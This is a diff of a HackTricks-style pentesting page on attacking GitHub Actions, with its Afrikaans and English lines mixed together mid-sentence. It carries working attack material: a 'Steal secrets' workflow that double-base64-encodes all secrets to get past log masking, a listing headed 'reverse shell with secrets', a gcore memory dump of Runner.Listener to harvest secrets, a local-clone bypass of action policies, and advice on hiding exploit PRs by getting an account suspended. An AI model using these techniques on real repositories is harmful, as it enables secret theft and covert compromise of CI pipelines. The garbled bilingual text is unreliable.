-As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tyd. As 'n repository **minder as 100 sterre gehad het voor die naamsverandering**, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die een wat verwyder is, te skep.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **minder as 100 sterre voor die naamsverandering**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.
+> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
 
-As ander repositories **afhang van hierdie gebruiker se repos**, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te **pivot van een repo na 'n ander** mits ons 'n soort toegang op die eerste een het (kyk na die vorige afdeling).
+> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
 
 ### Cache Poisoning
 
-'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
+A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -418,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows kan **artifacts van ander workflows en selfs repos** gebruik, as 'n aanvaller daarin slaag om die Github Action wat 'n **artifact** oplaai wat later deur 'n ander workflow gebruik word, te **kompromitteer**, kan hy die **ander workflows** ook **kompromitteer**:
+Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,8 +429,33 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post Exploitation van 'n Aksie
+## Post Exploitation from an Action
 
+### Github Action Policies Bypass
+
+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **die action sal uitgevoer word sonder enige beperking.**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### Toegang tot AWS en GCP via OIDC
 
 Kyk na die volgende bladsye:
@@ -440,15 +468,15 @@ Kyk na die volgende bladsye:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Toegang tot geheime <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Toegang tot secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-As jy inhoud in 'n skrip inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
+As jy inhoud in 'n skrip injekteer, is dit interessant om te weet hoe jy toegang tot secrets kan kry:
 
-- As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
+- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing met **`printenv`** toeganklik wees.
 
 <details>
 
-<summary>Lys geheime in Github Action-uitvoer</summary>
+<summary>Lys secrets in Github Action-uitset</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Kry omgekeerde skulp met geheime</summary>
+<summary>Kry reverse shell with secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- As die geheim **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
+- As die secret **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell script **on-disk** gestoor en is dit toeganklik.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Vir 'n JavaScript aksies word die geheime deur omgewing veranderlikes gestuur.
+- Vir JavaScript actions word die secrets deur environment variables gestuur
 - ```bash
 ps axe | grep node
 ```
-- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
+- Vir 'n **custom action** kan die risiko wissel, afhangend van hoe 'n program die secret gebruik wat dit uit die **argument** verkry het:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Misbruik van Self-gehoste lopers
+- Enumereer alle secrets via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik double base64 om GitHub’s log masking te omseil en decodeer lokaal:
 
-Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
+Dekodeer lokaal:
 
-In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Wenk: vir stealth tydens toetsing, enkripteer dit voordat jy dit uitdruk (openssl is preinstalled on GitHub-hosted runners).
+
+### Misbruik van Self-hosted runners
+
+Die manier om te vind watter **GitHub Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die GitHub Action configuration yaml.
+
+**Self-hosted** runners kan dalk toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs al is dit geïsoleer en vernietig, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander een.
+
+In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Kontrollere [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Beeld Registrasie
+### Github Docker Beelde Register
 
-Dit is moontlik om Github aksies te maak wat **'n Docker beeld binne Github sal bou en stoor**.\
-'n Voorbeeld kan gevind word in die volgende uitbreidbare:
+Dit is moontlik om Github actions te maak wat 'n Docker image binne Github sal **bou en stoor**.\
+'n Voorbeeld kan in die volgende inklapbare element gevind word:
 
 <details>
 
-<summary>Github Aksie Bou & Stoot Docker Beeld</summary>
+<summary>Github Action Bou & Push Docker Image</summary>
 ```yaml
 [...]
 
@@ -565,9 +617,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**.
+Soos jy in die vorige kode kon sien, word die Github registry gehuisves op **`ghcr.io`**.
 
-'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangstoken:
+'n Gebruiker met lees-permissies op die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -578,17 +630,21 @@ Then, the user could search for **leaked secrets in the Docker image layers:**
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Sensitiewe inligting in Github Actions logs
+### Gevoelige inligting in Github Actions logs
 
-Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **ontdek** en **te vermy** om hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie, tensy dit [spesifiek gekonfigureer is](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Selfs al probeer **Github** geheime waardes in die actions logs opspoor en verberg, sal ander sensitiewe data wat tydens die uitvoering van die action gegenereer is nie verborge wees nie. Byvoorbeeld 'n JWT wat met 'n geheime waarde geteken is, sal nie verberg word nie tensy dit [specifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
 
-## Bedek jou Spore
+## Om jou spore te verberg
 
-(Tegniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub-rekening. In GitHub kan ons **nie 'n PR van die internet verwyder nie** nie, maar daar is 'n draai. Vir GitHub-rekeninge wat deur Github **gesuspend** is, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy of jou **GitHub-rekening gesuspend kry of jou rekening gemerk kry**. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat geskep word duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. Op GitHub volgens verstek kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskors** word, word al hul **PRs outomaties verwyder** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended** kry óf jou rekening laat gemerk word. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
 
-'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Alles wat jy hoef te doen, is om “n paar goedere” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
+'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op GitHub gemaak.
 
 > [!WARNING]
-> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM na te gaan, aangesien die PR van die GitHub UI verwyder sal word.
+> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs vanaf SIEM na te gaan, aangesien die PR vanaf die GitHub UI verwyder sal wees.
+
+## Verwysings
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}